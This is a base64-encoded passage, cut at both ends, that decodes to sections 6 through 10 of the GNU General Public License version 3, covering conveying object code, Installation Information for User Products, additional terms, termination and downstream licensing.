GUKICAgIENvcnJlc3BvbmRpbmcgU291cmNl\nIGZpeGVkIG9uIGEgZHVyYWJsZSBwaHlzaWNhbCBtZWRpdW0KICAgIGN1c3Rv\nbWFyaWx5IHVzZWQgZm9yIHNvZnR3YXJlIGludGVyY2hhbmdlLgoKICAgIGIp\nIENvbnZleSB0aGUgb2JqZWN0IGNvZGUgaW4sIG9yIGVtYm9kaWVkIGluLCBh\nIHBoeXNpY2FsIHByb2R1Y3QKICAgIChpbmNsdWRpbmcgYSBwaHlzaWNhbCBk\naXN0cmlidXRpb24gbWVkaXVtKSwgYWNjb21wYW5pZWQgYnkgYQogICAgd3Jp\ndHRlbiBvZmZlciwgdmFsaWQgZm9yIGF0IGxlYXN0IHRocmVlIHllYXJzIGFu\nZCB2YWxpZCBmb3IgYXMKICAgIGxvbmcgYXMgeW91IG9mZmVyIHNwYXJlIHBh\ncnRzIG9yIGN1c3RvbWVyIHN1cHBvcnQgZm9yIHRoYXQgcHJvZHVjdAogICAg\nbW9kZWwsIHRvIGdpdmUgYW55b25lIHdobyBwb3NzZXNzZXMgdGhlIG9iamVj\ndCBjb2RlIGVpdGhlciAoMSkgYQogICAgY29weSBvZiB0aGUgQ29ycmVzcG9u\nZGluZyBTb3VyY2UgZm9yIGFsbCB0aGUgc29mdHdhcmUgaW4gdGhlCiAgICBw\ncm9kdWN0IHRoYXQgaXMgY292ZXJlZCBieSB0aGlzIExpY2Vuc2UsIG9uIGEg\nZHVyYWJsZSBwaHlzaWNhbAogICAgbWVkaXVtIGN1c3RvbWFyaWx5IHVzZWQg\nZm9yIHNvZnR3YXJlIGludGVyY2hhbmdlLCBmb3IgYSBwcmljZSBubwogICAg\nbW9yZSB0aGFuIHlvdXIgcmVhc29uYWJsZSBjb3N0IG9mIHBoeXNpY2FsbHkg\ncGVyZm9ybWluZyB0aGlzCiAgICBjb252ZXlpbmcgb2Ygc291cmNlLCBvciAo\nMikgYWNjZXNzIHRvIGNvcHkgdGhlCiAgICBDb3JyZXNwb25kaW5nIFNvdXJj\nZSBmcm9tIGEgbmV0d29yayBzZXJ2ZXIgYXQgbm8gY2hhcmdlLgoKICAgIGMp\nIENvbnZleSBpbmRpdmlkdWFsIGNvcGllcyBvZiB0aGUgb2JqZWN0IGNvZGUg\nd2l0aCBhIGNvcHkgb2YgdGhlCiAgICB3cml0dGVuIG9mZmVyIHRvIHByb3Zp\nZGUgdGhlIENvcnJlc3BvbmRpbmcgU291cmNlLiAgVGhpcwogICAgYWx0ZXJu\nYXRpdmUgaXMgYWxsb3dlZCBvbmx5IG9jY2FzaW9uYWxseSBhbmQgbm9uY29t\nbWVyY2lhbGx5LCBhbmQKICAgIG9ubHkgaWYgeW91IHJlY2VpdmVkIHRoZSBv\nYmplY3QgY29kZSB3aXRoIHN1Y2ggYW4gb2ZmZXIsIGluIGFjY29yZAogICAg\nd2l0aCBzdWJzZWN0aW9uIDZiLgoKICAgIGQpIENvbnZleSB0aGUgb2JqZWN0\nIGNvZGUgYnkgb2ZmZXJpbmcgYWNjZXNzIGZyb20gYSBkZXNpZ25hdGVkCiAg\nICBwbGFjZSAoZ3JhdGlzIG9yIGZvciBhIGNoYXJnZSksIGFuZCBvZmZlciBl\ncXVpdmFsZW50IGFjY2VzcyB0byB0aGUKICAgIENvcnJlc3BvbmRpbmcgU291\ncmNlIGluIHRoZSBzYW1lIHdheSB0aHJvdWdoIHRoZSBzYW1lIHBsYWNlIGF0\nIG5vCiAgICBmdXJ0aGVyIGNoYXJnZS4gIFlvdSBuZWVkIG5vdCByZXF1aXJl\nIHJlY2lwaWVudHMgdG8gY29weSB0aGUKICAgIENvcnJlc3BvbmRpbmcgU291\ncmNlIGFsb25nIHdpdGggdGhlIG9iamVjdCBjb2RlLiAgSWYgdGhlIHBsYWNl\nIHRvCiAgICBjb3B5IHRoZSBvYmplY3QgY29kZSBpcyBhIG5ldHdvcmsgc2Vy\ndmVyLCB0aGUgQ29ycmVzcG9uZGluZyBTb3VyY2UKICAgIG1heSBiZSBvbiBh\nIGRpZmZlcmVudCBzZXJ2ZXIgKG9wZXJhdGVkIGJ5IHlvdSBvciBhIHRoaXJk\nIHBhcnR5KQogICAgdGhhdCBzdXBwb3J0cyBlcXVpdmFsZW50IGNvcHlpbmcg\nZmFjaWxpdGllcywgcHJvdmlkZWQgeW91IG1haW50YWluCiAgICBjbGVhciBk\naXJlY3Rpb25zIG5leHQgdG8gdGhlIG9iamVjdCBjb2RlIHNheWluZyB3aGVy\nZSB0byBmaW5kIHRoZQogICAgQ29ycmVzcG9uZGluZyBTb3VyY2UuICBSZWdh\ncmRsZXNzIG9mIHdoYXQgc2VydmVyIGhvc3RzIHRoZQogICAgQ29ycmVzcG9u\nZGluZyBTb3VyY2UsIHlvdSByZW1haW4gb2JsaWdhdGVkIHRvIGVuc3VyZSB0\naGF0IGl0IGlzCiAgICBhdmFpbGFibGUgZm9yIGFzIGxvbmcgYXMgbmVlZGVk\nIHRvIHNhdGlzZnkgdGhlc2UgcmVxdWlyZW1lbnRzLgoKICAgIGUpIENvbnZl\neSB0aGUgb2JqZWN0IGNvZGUgdXNpbmcgcGVlci10by1wZWVyIHRyYW5zbWlz\nc2lvbiwgcHJvdmlkZWQKICAgIHlvdSBpbmZvcm0gb3RoZXIgcGVlcnMgd2hl\ncmUgdGhlIG9iamVjdCBjb2RlIGFuZCBDb3JyZXNwb25kaW5nCiAgICBTb3Vy\nY2Ugb2YgdGhlIHdvcmsgYXJlIGJlaW5nIG9mZmVyZWQgdG8gdGhlIGdlbmVy\nYWwgcHVibGljIGF0IG5vCiAgICBjaGFyZ2UgdW5kZXIgc3Vic2VjdGlvbiA2\nZC4KCiAgQSBzZXBhcmFibGUgcG9ydGlvbiBvZiB0aGUgb2JqZWN0IGNvZGUs\nIHdob3NlIHNvdXJjZSBjb2RlIGlzIGV4Y2x1ZGVkCmZyb20gdGhlIENvcnJl\nc3BvbmRpbmcgU291cmNlIGFzIGEgU3lzdGVtIExpYnJhcnksIG5lZWQgbm90\nIGJlCmluY2x1ZGVkIGluIGNvbnZleWluZyB0aGUgb2JqZWN0IGNvZGUgd29y\nay4KCiAgQSAiVXNlciBQcm9kdWN0IiBpcyBlaXRoZXIgKDEpIGEgImNvbnN1\nbWVyIHByb2R1Y3QiLCB3aGljaCBtZWFucyBhbnkKdGFuZ2libGUgcGVyc29u\nYWwgcHJvcGVydHkgd2hpY2ggaXMgbm9ybWFsbHkgdXNlZCBmb3IgcGVyc29u\nYWwsIGZhbWlseSwKb3IgaG91c2Vob2xkIHB1cnBvc2VzLCBvciAoMikgYW55\ndGhpbmcgZGVzaWduZWQgb3Igc29sZCBmb3IgaW5jb3Jwb3JhdGlvbgppbnRv\nIGEgZHdlbGxpbmcuICBJbiBkZXRlcm1pbmluZyB3aGV0aGVyIGEgcHJvZHVj\ndCBpcyBhIGNvbnN1bWVyIHByb2R1Y3QsCmRvdWJ0ZnVsIGNhc2VzIHNoYWxs\nIGJlIHJlc29sdmVkIGluIGZhdm9yIG9mIGNvdmVyYWdlLiAgRm9yIGEgcGFy\ndGljdWxhcgpwcm9kdWN0IHJlY2VpdmVkIGJ5IGEgcGFydGljdWxhciB1c2Vy\nLCAibm9ybWFsbHkgdXNlZCIgcmVmZXJzIHRvIGEKdHlwaWNhbCBvciBjb21t\nb24gdXNlIG9mIHRoYXQgY2xhc3Mgb2YgcHJvZHVjdCwgcmVnYXJkbGVzcyBv\nZiB0aGUgc3RhdHVzCm9mIHRoZSBwYXJ0aWN1bGFyIHVzZXIgb3Igb2YgdGhl\nIHdheSBpbiB3aGljaCB0aGUgcGFydGljdWxhciB1c2VyCmFjdHVhbGx5IHVz\nZXMsIG9yIGV4cGVjdHMgb3IgaXMgZXhwZWN0ZWQgdG8gdXNlLCB0aGUgcHJv\nZHVjdC4gIEEgcHJvZHVjdAppcyBhIGNvbnN1bWVyIHByb2R1Y3QgcmVnYXJk\nbGVzcyBvZiB3aGV0aGVyIHRoZSBwcm9kdWN0IGhhcyBzdWJzdGFudGlhbApj\nb21tZXJjaWFsLCBpbmR1c3RyaWFsIG9yIG5vbi1jb25zdW1lciB1c2VzLCB1\nbmxlc3Mgc3VjaCB1c2VzIHJlcHJlc2VudAp0aGUgb25seSBzaWduaWZpY2Fu\ndCBtb2RlIG9mIHVzZSBvZiB0aGUgcHJvZHVjdC4KCiAgIkluc3RhbGxhdGlv\nbiBJbmZvcm1hdGlvbiIgZm9yIGEgVXNlciBQcm9kdWN0IG1lYW5zIGFueSBt\nZXRob2RzLApwcm9jZWR1cmVzLCBhdXRob3JpemF0aW9uIGtleXMsIG9yIG90\naGVyIGluZm9ybWF0aW9uIHJlcXVpcmVkIHRvIGluc3RhbGwKYW5kIGV4ZWN1\ndGUgbW9kaWZpZWQgdmVyc2lvbnMgb2YgYSBjb3ZlcmVkIHdvcmsgaW4gdGhh\ndCBVc2VyIFByb2R1Y3QgZnJvbQphIG1vZGlmaWVkIHZlcnNpb24gb2YgaXRz\nIENvcnJlc3BvbmRpbmcgU291cmNlLiAgVGhlIGluZm9ybWF0aW9uIG11c3QK\nc3VmZmljZSB0byBlbnN1cmUgdGhhdCB0aGUgY29udGludWVkIGZ1bmN0aW9u\naW5nIG9mIHRoZSBtb2RpZmllZCBvYmplY3QKY29kZSBpcyBpbiBubyBjYXNl\nIHByZXZlbnRlZCBvciBpbnRlcmZlcmVkIHdpdGggc29sZWx5IGJlY2F1c2UK\nbW9kaWZpY2F0aW9uIGhhcyBiZWVuIG1hZGUuCgogIElmIHlvdSBjb252ZXkg\nYW4gb2JqZWN0IGNvZGUgd29yayB1bmRlciB0aGlzIHNlY3Rpb24gaW4sIG9y\nIHdpdGgsIG9yCnNwZWNpZmljYWxseSBmb3IgdXNlIGluLCBhIFVzZXIgUHJv\nZHVjdCwgYW5kIHRoZSBjb252ZXlpbmcgb2NjdXJzIGFzCnBhcnQgb2YgYSB0\ncmFuc2FjdGlvbiBpbiB3aGljaCB0aGUgcmlnaHQgb2YgcG9zc2Vzc2lvbiBh\nbmQgdXNlIG9mIHRoZQpVc2VyIFByb2R1Y3QgaXMgdHJhbnNmZXJyZWQgdG8g\ndGhlIHJlY2lwaWVudCBpbiBwZXJwZXR1aXR5IG9yIGZvciBhCmZpeGVkIHRl\ncm0gKHJlZ2FyZGxlc3Mgb2YgaG93IHRoZSB0cmFuc2FjdGlvbiBpcyBjaGFy\nYWN0ZXJpemVkKSwgdGhlCkNvcnJlc3BvbmRpbmcgU291cmNlIGNvbnZleWVk\nIHVuZGVyIHRoaXMgc2VjdGlvbiBtdXN0IGJlIGFjY29tcGFuaWVkCmJ5IHRo\nZSBJbnN0YWxsYXRpb24gSW5mb3JtYXRpb24uICBCdXQgdGhpcyByZXF1aXJl\nbWVudCBkb2VzIG5vdCBhcHBseQppZiBuZWl0aGVyIHlvdSBub3IgYW55IHRo\naXJkIHBhcnR5IHJldGFpbnMgdGhlIGFiaWxpdHkgdG8gaW5zdGFsbAptb2Rp\nZmllZCBvYmplY3QgY29kZSBvbiB0aGUgVXNlciBQcm9kdWN0IChmb3IgZXhh\nbXBsZSwgdGhlIHdvcmsgaGFzCmJlZW4gaW5zdGFsbGVkIGluIFJPTSkuCgog\nIFRoZSByZXF1aXJlbWVudCB0byBwcm92aWRlIEluc3RhbGxhdGlvbiBJbmZv\ncm1hdGlvbiBkb2VzIG5vdCBpbmNsdWRlIGEKcmVxdWlyZW1lbnQgdG8gY29u\ndGludWUgdG8gcHJvdmlkZSBzdXBwb3J0IHNlcnZpY2UsIHdhcnJhbnR5LCBv\nciB1cGRhdGVzCmZvciBhIHdvcmsgdGhhdCBoYXMgYmVlbiBtb2RpZmllZCBv\nciBpbnN0YWxsZWQgYnkgdGhlIHJlY2lwaWVudCwgb3IgZm9yCnRoZSBVc2Vy\nIFByb2R1Y3QgaW4gd2hpY2ggaXQgaGFzIGJlZW4gbW9kaWZpZWQgb3IgaW5z\ndGFsbGVkLiAgQWNjZXNzIHRvIGEKbmV0d29yayBtYXkgYmUgZGVuaWVkIHdo\nZW4gdGhlIG1vZGlmaWNhdGlvbiBpdHNlbGYgbWF0ZXJpYWxseSBhbmQKYWR2\nZXJzZWx5IGFmZmVjdHMgdGhlIG9wZXJhdGlvbiBvZiB0aGUgbmV0d29yayBv\nciB2aW9sYXRlcyB0aGUgcnVsZXMgYW5kCnByb3RvY29scyBmb3IgY29tbXVu\naWNhdGlvbiBhY3Jvc3MgdGhlIG5ldHdvcmsuCgogIENvcnJlc3BvbmRpbmcg\nU291cmNlIGNvbnZleWVkLCBhbmQgSW5zdGFsbGF0aW9uIEluZm9ybWF0aW9u\nIHByb3ZpZGVkLAppbiBhY2NvcmQgd2l0aCB0aGlzIHNlY3Rpb24gbXVzdCBi\nZSBpbiBhIGZvcm1hdCB0aGF0IGlzIHB1YmxpY2x5CmRvY3VtZW50ZWQgKGFu\nZCB3aXRoIGFuIGltcGxlbWVudGF0aW9uIGF2YWlsYWJsZSB0byB0aGUgcHVi\nbGljIGluCnNvdXJjZSBjb2RlIGZvcm0pLCBhbmQgbXVzdCByZXF1aXJlIG5v\nIHNwZWNpYWwgcGFzc3dvcmQgb3Iga2V5IGZvcgp1bnBhY2tpbmcsIHJlYWRp\nbmcgb3IgY29weWluZy4KCiAgNy4gQWRkaXRpb25hbCBUZXJtcy4KCiAgIkFk\nZGl0aW9uYWwgcGVybWlzc2lvbnMiIGFyZSB0ZXJtcyB0aGF0IHN1cHBsZW1l\nbnQgdGhlIHRlcm1zIG9mIHRoaXMKTGljZW5zZSBieSBtYWtpbmcgZXhjZXB0\naW9ucyBmcm9tIG9uZSBvciBtb3JlIG9mIGl0cyBjb25kaXRpb25zLgpBZGRp\ndGlvbmFsIHBlcm1pc3Npb25zIHRoYXQgYXJlIGFwcGxpY2FibGUgdG8gdGhl\nIGVudGlyZSBQcm9ncmFtIHNoYWxsCmJlIHRyZWF0ZWQgYXMgdGhvdWdoIHRo\nZXkgd2VyZSBpbmNsdWRlZCBpbiB0aGlzIExpY2Vuc2UsIHRvIHRoZSBleHRl\nbnQKdGhhdCB0aGV5IGFyZSB2YWxpZCB1bmRlciBhcHBsaWNhYmxlIGxhdy4g\nIElmIGFkZGl0aW9uYWwgcGVybWlzc2lvbnMKYXBwbHkgb25seSB0byBwYXJ0\nIG9mIHRoZSBQcm9ncmFtLCB0aGF0IHBhcnQgbWF5IGJlIHVzZWQgc2VwYXJh\ndGVseQp1bmRlciB0aG9zZSBwZXJtaXNzaW9ucywgYnV0IHRoZSBlbnRpcmUg\nUHJvZ3JhbSByZW1haW5zIGdvdmVybmVkIGJ5CnRoaXMgTGljZW5zZSB3aXRo\nb3V0IHJlZ2FyZCB0byB0aGUgYWRkaXRpb25hbCBwZXJtaXNzaW9ucy4KCiAg\nV2hlbiB5b3UgY29udmV5IGEgY29weSBvZiBhIGNvdmVyZWQgd29yaywgeW91\nIG1heSBhdCB5b3VyIG9wdGlvbgpyZW1vdmUgYW55IGFkZGl0aW9uYWwgcGVy\nbWlzc2lvbnMgZnJvbSB0aGF0IGNvcHksIG9yIGZyb20gYW55IHBhcnQgb2YK\naXQuICAoQWRkaXRpb25hbCBwZXJtaXNzaW9ucyBtYXkgYmUgd3JpdHRlbiB0\nbyByZXF1aXJlIHRoZWlyIG93bgpyZW1vdmFsIGluIGNlcnRhaW4gY2FzZXMg\nd2hlbiB5b3UgbW9kaWZ5IHRoZSB3b3JrLikgIFlvdSBtYXkgcGxhY2UKYWRk\naXRpb25hbCBwZXJtaXNzaW9ucyBvbiBtYXRlcmlhbCwgYWRkZWQgYnkgeW91\nIHRvIGEgY292ZXJlZCB3b3JrLApmb3Igd2hpY2ggeW91IGhhdmUgb3IgY2Fu\nIGdpdmUgYXBwcm9wcmlhdGUgY29weXJpZ2h0IHBlcm1pc3Npb24uCgogIE5v\ndHdpdGhzdGFuZGluZyBhbnkgb3RoZXIgcHJvdmlzaW9uIG9mIHRoaXMgTGlj\nZW5zZSwgZm9yIG1hdGVyaWFsIHlvdQphZGQgdG8gYSBjb3ZlcmVkIHdvcmss\nIHlvdSBtYXkgKGlmIGF1dGhvcml6ZWQgYnkgdGhlIGNvcHlyaWdodCBob2xk\nZXJzIG9mCnRoYXQgbWF0ZXJpYWwpIHN1cHBsZW1lbnQgdGhlIHRlcm1zIG9m\nIHRoaXMgTGljZW5zZSB3aXRoIHRlcm1zOgoKICAgIGEpIERpc2NsYWltaW5n\nIHdhcnJhbnR5IG9yIGxpbWl0aW5nIGxpYWJpbGl0eSBkaWZmZXJlbnRseSBm\ncm9tIHRoZQogICAgdGVybXMgb2Ygc2VjdGlvbnMgMTUgYW5kIDE2IG9mIHRo\naXMgTGljZW5zZTsgb3IKCiAgICBiKSBSZXF1aXJpbmcgcHJlc2VydmF0aW9u\nIG9mIHNwZWNpZmllZCByZWFzb25hYmxlIGxlZ2FsIG5vdGljZXMgb3IKICAg\nIGF1dGhvciBhdHRyaWJ1dGlvbnMgaW4gdGhhdCBtYXRlcmlhbCBvciBpbiB0\naGUgQXBwcm9wcmlhdGUgTGVnYWwKICAgIE5vdGljZXMgZGlzcGxheWVkIGJ5\nIHdvcmtzIGNvbnRhaW5pbmcgaXQ7IG9yCgogICAgYykgUHJvaGliaXRpbmcg\nbWlzcmVwcmVzZW50YXRpb24gb2YgdGhlIG9yaWdpbiBvZiB0aGF0IG1hdGVy\naWFsLCBvcgogICAgcmVxdWlyaW5nIHRoYXQgbW9kaWZpZWQgdmVyc2lvbnMg\nb2Ygc3VjaCBtYXRlcmlhbCBiZSBtYXJrZWQgaW4KICAgIHJlYXNvbmFibGUg\nd2F5cyBhcyBkaWZmZXJlbnQgZnJvbSB0aGUgb3JpZ2luYWwgdmVyc2lvbjsg\nb3IKCiAgICBkKSBMaW1pdGluZyB0aGUgdXNlIGZvciBwdWJsaWNpdHkgcHVy\ncG9zZXMgb2YgbmFtZXMgb2YgbGljZW5zb3JzIG9yCiAgICBhdXRob3JzIG9m\nIHRoZSBtYXRlcmlhbDsgb3IKCiAgICBlKSBEZWNsaW5pbmcgdG8gZ3JhbnQg\ncmlnaHRzIHVuZGVyIHRyYWRlbWFyayBsYXcgZm9yIHVzZSBvZiBzb21lCiAg\nICB0cmFkZSBuYW1lcywgdHJhZGVtYXJrcywgb3Igc2VydmljZSBtYXJrczsg\nb3IKCiAgICBmKSBSZXF1aXJpbmcgaW5kZW1uaWZpY2F0aW9uIG9mIGxpY2Vu\nc29ycyBhbmQgYXV0aG9ycyBvZiB0aGF0CiAgICBtYXRlcmlhbCBieSBhbnlv\nbmUgd2hvIGNvbnZleXMgdGhlIG1hdGVyaWFsIChvciBtb2RpZmllZCB2ZXJz\naW9ucyBvZgogICAgaXQpIHdpdGggY29udHJhY3R1YWwgYXNzdW1wdGlvbnMg\nb2YgbGlhYmlsaXR5IHRvIHRoZSByZWNpcGllbnQsIGZvcgogICAgYW55IGxp\nYWJpbGl0eSB0aGF0IHRoZXNlIGNvbnRyYWN0dWFsIGFzc3VtcHRpb25zIGRp\ncmVjdGx5IGltcG9zZSBvbgogICAgdGhvc2UgbGljZW5zb3JzIGFuZCBhdXRo\nb3JzLgoKICBBbGwgb3RoZXIgbm9uLXBlcm1pc3NpdmUgYWRkaXRpb25hbCB0\nZXJtcyBhcmUgY29uc2lkZXJlZCAiZnVydGhlcgpyZXN0cmljdGlvbnMiIHdp\ndGhpbiB0aGUgbWVhbmluZyBvZiBzZWN0aW9uIDEwLiAgSWYgdGhlIFByb2dy\nYW0gYXMgeW91CnJlY2VpdmVkIGl0LCBvciBhbnkgcGFydCBvZiBpdCwgY29u\ndGFpbnMgYSBub3RpY2Ugc3RhdGluZyB0aGF0IGl0IGlzCmdvdmVybmVkIGJ5\nIHRoaXMgTGljZW5zZSBhbG9uZyB3aXRoIGEgdGVybSB0aGF0IGlzIGEgZnVy\ndGhlcgpyZXN0cmljdGlvbiwgeW91IG1heSByZW1vdmUgdGhhdCB0ZXJtLiAg\nSWYgYSBsaWNlbnNlIGRvY3VtZW50IGNvbnRhaW5zCmEgZnVydGhlciByZXN0\ncmljdGlvbiBidXQgcGVybWl0cyByZWxpY2Vuc2luZyBvciBjb252ZXlpbmcg\ndW5kZXIgdGhpcwpMaWNlbnNlLCB5b3UgbWF5IGFkZCB0byBhIGNvdmVyZWQg\nd29yayBtYXRlcmlhbCBnb3Zlcm5lZCBieSB0aGUgdGVybXMKb2YgdGhhdCBs\naWNlbnNlIGRvY3VtZW50LCBwcm92aWRlZCB0aGF0IHRoZSBmdXJ0aGVyIHJl\nc3RyaWN0aW9uIGRvZXMKbm90IHN1cnZpdmUgc3VjaCByZWxpY2Vuc2luZyBv\nciBjb252ZXlpbmcuCgogIElmIHlvdSBhZGQgdGVybXMgdG8gYSBjb3ZlcmVk\nIHdvcmsgaW4gYWNjb3JkIHdpdGggdGhpcyBzZWN0aW9uLCB5b3UKbXVzdCBw\nbGFjZSwgaW4gdGhlIHJlbGV2YW50IHNvdXJjZSBmaWxlcywgYSBzdGF0ZW1l\nbnQgb2YgdGhlCmFkZGl0aW9uYWwgdGVybXMgdGhhdCBhcHBseSB0byB0aG9z\nZSBmaWxlcywgb3IgYSBub3RpY2UgaW5kaWNhdGluZwp3aGVyZSB0byBmaW5k\nIHRoZSBhcHBsaWNhYmxlIHRlcm1zLgoKICBBZGRpdGlvbmFsIHRlcm1zLCBw\nZXJtaXNzaXZlIG9yIG5vbi1wZXJtaXNzaXZlLCBtYXkgYmUgc3RhdGVkIGlu\nIHRoZQpmb3JtIG9mIGEgc2VwYXJhdGVseSB3cml0dGVuIGxpY2Vuc2UsIG9y\nIHN0YXRlZCBhcyBleGNlcHRpb25zOwp0aGUgYWJvdmUgcmVxdWlyZW1lbnRz\nIGFwcGx5IGVpdGhlciB3YXkuCgogIDguIFRlcm1pbmF0aW9uLgoKICBZb3Ug\nbWF5IG5vdCBwcm9wYWdhdGUgb3IgbW9kaWZ5IGEgY292ZXJlZCB3b3JrIGV4\nY2VwdCBhcyBleHByZXNzbHkKcHJvdmlkZWQgdW5kZXIgdGhpcyBMaWNlbnNl\nLiAgQW55IGF0dGVtcHQgb3RoZXJ3aXNlIHRvIHByb3BhZ2F0ZSBvcgptb2Rp\nZnkgaXQgaXMgdm9pZCwgYW5kIHdpbGwgYXV0b21hdGljYWxseSB0ZXJtaW5h\ndGUgeW91ciByaWdodHMgdW5kZXIKdGhpcyBMaWNlbnNlIChpbmNsdWRpbmcg\nYW55IHBhdGVudCBsaWNlbnNlcyBncmFudGVkIHVuZGVyIHRoZSB0aGlyZApw\nYXJhZ3JhcGggb2Ygc2VjdGlvbiAxMSkuCgogIEhvd2V2ZXIsIGlmIHlvdSBj\nZWFzZSBhbGwgdmlvbGF0aW9uIG9mIHRoaXMgTGljZW5zZSwgdGhlbiB5b3Vy\nCmxpY2Vuc2UgZnJvbSBhIHBhcnRpY3VsYXIgY29weXJpZ2h0IGhvbGRlciBp\ncyByZWluc3RhdGVkIChhKQpwcm92aXNpb25hbGx5LCB1bmxlc3MgYW5kIHVu\ndGlsIHRoZSBjb3B5cmlnaHQgaG9sZGVyIGV4cGxpY2l0bHkgYW5kCmZpbmFs\nbHkgdGVybWluYXRlcyB5b3VyIGxpY2Vuc2UsIGFuZCAoYikgcGVybWFuZW50\nbHksIGlmIHRoZSBjb3B5cmlnaHQKaG9sZGVyIGZhaWxzIHRvIG5vdGlmeSB5\nb3Ugb2YgdGhlIHZpb2xhdGlvbiBieSBzb21lIHJlYXNvbmFibGUgbWVhbnMK\ncHJpb3IgdG8gNjAgZGF5cyBhZnRlciB0aGUgY2Vzc2F0aW9uLgoKICBNb3Jl\nb3ZlciwgeW91ciBsaWNlbnNlIGZyb20gYSBwYXJ0aWN1bGFyIGNvcHlyaWdo\ndCBob2xkZXIgaXMKcmVpbnN0YXRlZCBwZXJtYW5lbnRseSBpZiB0aGUgY29w\neXJpZ2h0IGhvbGRlciBub3RpZmllcyB5b3Ugb2YgdGhlCnZpb2xhdGlvbiBi\neSBzb21lIHJlYXNvbmFibGUgbWVhbnMsIHRoaXMgaXMgdGhlIGZpcnN0IHRp\nbWUgeW91IGhhdmUKcmVjZWl2ZWQgbm90aWNlIG9mIHZpb2xhdGlvbiBvZiB0\naGlzIExpY2Vuc2UgKGZvciBhbnkgd29yaykgZnJvbSB0aGF0CmNvcHlyaWdo\ndCBob2xkZXIsIGFuZCB5b3UgY3VyZSB0aGUgdmlvbGF0aW9uIHByaW9yIHRv\nIDMwIGRheXMgYWZ0ZXIKeW91ciByZWNlaXB0IG9mIHRoZSBub3RpY2UuCgog\nIFRlcm1pbmF0aW9uIG9mIHlvdXIgcmlnaHRzIHVuZGVyIHRoaXMgc2VjdGlv\nbiBkb2VzIG5vdCB0ZXJtaW5hdGUgdGhlCmxpY2Vuc2VzIG9mIHBhcnRpZXMg\nd2hvIGhhdmUgcmVjZWl2ZWQgY29waWVzIG9yIHJpZ2h0cyBmcm9tIHlvdSB1\nbmRlcgp0aGlzIExpY2Vuc2UuICBJZiB5b3VyIHJpZ2h0cyBoYXZlIGJlZW4g\ndGVybWluYXRlZCBhbmQgbm90IHBlcm1hbmVudGx5CnJlaW5zdGF0ZWQsIHlv\ndSBkbyBub3QgcXVhbGlmeSB0byByZWNlaXZlIG5ldyBsaWNlbnNlcyBmb3Ig\ndGhlIHNhbWUKbWF0ZXJpYWwgdW5kZXIgc2VjdGlvbiAxMC4KCiAgOS4gQWNj\nZXB0YW5jZSBOb3QgUmVxdWlyZWQgZm9yIEhhdmluZyBDb3BpZXMuCgogIFlv\ndSBhcmUgbm90IHJlcXVpcmVkIHRvIGFjY2VwdCB0aGlzIExpY2Vuc2UgaW4g\nb3JkZXIgdG8gcmVjZWl2ZSBvcgpydW4gYSBjb3B5IG9mIHRoZSBQcm9ncmFt\nLiAgQW5jaWxsYXJ5IHByb3BhZ2F0aW9uIG9mIGEgY292ZXJlZCB3b3JrCm9j\nY3VycmluZyBzb2xlbHkgYXMgYSBjb25zZXF1ZW5jZSBvZiB1c2luZyBwZWVy\nLXRvLXBlZXIgdHJhbnNtaXNzaW9uCnRvIHJlY2VpdmUgYSBjb3B5IGxpa2V3\naXNlIGRvZXMgbm90IHJlcXVpcmUgYWNjZXB0YW5jZS4gIEhvd2V2ZXIsCm5v\ndGhpbmcgb3RoZXIgdGhhbiB0aGlzIExpY2Vuc2UgZ3JhbnRzIHlvdSBwZXJt\naXNzaW9uIHRvIHByb3BhZ2F0ZSBvcgptb2RpZnkgYW55IGNvdmVyZWQgd29y\nay4gIFRoZXNlIGFjdGlvbnMgaW5mcmluZ2UgY29weXJpZ2h0IGlmIHlvdSBk\nbwpub3QgYWNjZXB0IHRoaXMgTGljZW5zZS4gIFRoZXJlZm9yZSwgYnkgbW9k\naWZ5aW5nIG9yIHByb3BhZ2F0aW5nIGEKY292ZXJlZCB3b3JrLCB5b3UgaW5k\naWNhdGUgeW91ciBhY2NlcHRhbmNlIG9mIHRoaXMgTGljZW5zZSB0byBkbyBz\nby4KCiAgMTAuIEF1dG9tYXRpYyBMaWNlbnNpbmcgb2YgRG93bnN0cmVhbSBS\nZWNpcGllbnRzLgoKICBFYWNoIHRpbWUgeW91IGNvbnZleSBhIGNvdmVyZWQg\nd29yaywgdGhlIHJlY2lwaWVudCBhdXRvbWF0aWNhbGx5CnJlY2VpdmVzIGEg\nbGljZW5zZSBmcm9tIHRoZSBvcmlnaW5hbCBsaWNlbnNvcnMsIHRvIHJ1biwg\nbW9kaWZ5IGFuZApwcm9wYWdhdGUgdGhhdCB3b3JrLCBzdWJqZWN0IHRvIHRo\naXMgTGljZW5zZS4gIFlvdSBhcmUgbm90IHJlc3BvbnNpYmxlCmZvciBlbmZv\ncmNpbmcgY29tcGxpYW5jZSBieSB0aGlyZCBwYXJ0aWVzIHdpdGggdGhpcyBM\naWNlbnNlLgoKICBBbiAiZW50aXR5IHRyYW5zYWN0aW9uIiBpcyBhIHRyYW5z\nYWN0aW9uIHRyYW5zZmVycmluZyBjb250cm9sIG9mIGFuCm9yZ2FuaXphdGlv\nbiwgb3Igc3Vic3RhbnRpYWxseSBhbGwgYXNzZXRzIG9mIG9uZSwgb3Igc3Vi\nZGl2aWRpbmcgYW4Kb3JnYW5pemF0aW9uLCBvciBtZXJnaW5nIG9yZ2FuaXph\ndGlvbnMuICBJZiBwcm9wYWdhdGlvbiBvZiBhIGNvdmVyZWQKd29yayByZXN1\nbHRzIGZyb20gYW4gZW50aXR5IHRyYW5zYWN0aW9uLCBlYWNoIHBhcnR5IHRv\nIHRoYXQKdHJhbnNhY3Rpb24gd2hvIHJlY2VpdmVzIGEgY29weSBvZiB0aGUg\nd29yayBhbHNvIHJlY2VpdmVzIHdoYXRldmVyCmxpY2Vuc2VzIHRvIHRoZSB3\nb3JrIHRoZSBwYXJ0eSdzIHByZWRlY2Vzc29yIGluIGludGVyZXN0IGhhZCBv\nciBjb3VsZApnaXZlIHVuZGVyIHRoZSBwcmV2aW91cyBwYXJhZ3JhcGgsIHBs\ndXMgYSByaWdodCB0byBwb3NzZXNzaW9uIG9mIHRoZQpDb3JyZXNwb25kaW5n\nIFNvdXJjZSBvZiB0aGUgd29yayBmcm9tIHRoZSBwcmVkZWNlc3NvciBpbiBp\nbnRlcmVzdCwgaWYKdGhlIHByZWRlY2Vzc29yIGhhcyBpdCBvciBjYW4gZ2V0\nIGl0IHdpdGggcmVhc29uYWJsZSBlZmZvcnRzLgoKICBZb3UgbWF5IG5vdCBp\nbXBvc2UgYW55IGZ1cnRoZXIgcmVzdHJpY3Rpb25zIG9uIHRoZSBleGVyY2lz\nZSBvZiB0aGUKcmlnaHRzIGdyYW50ZWQgb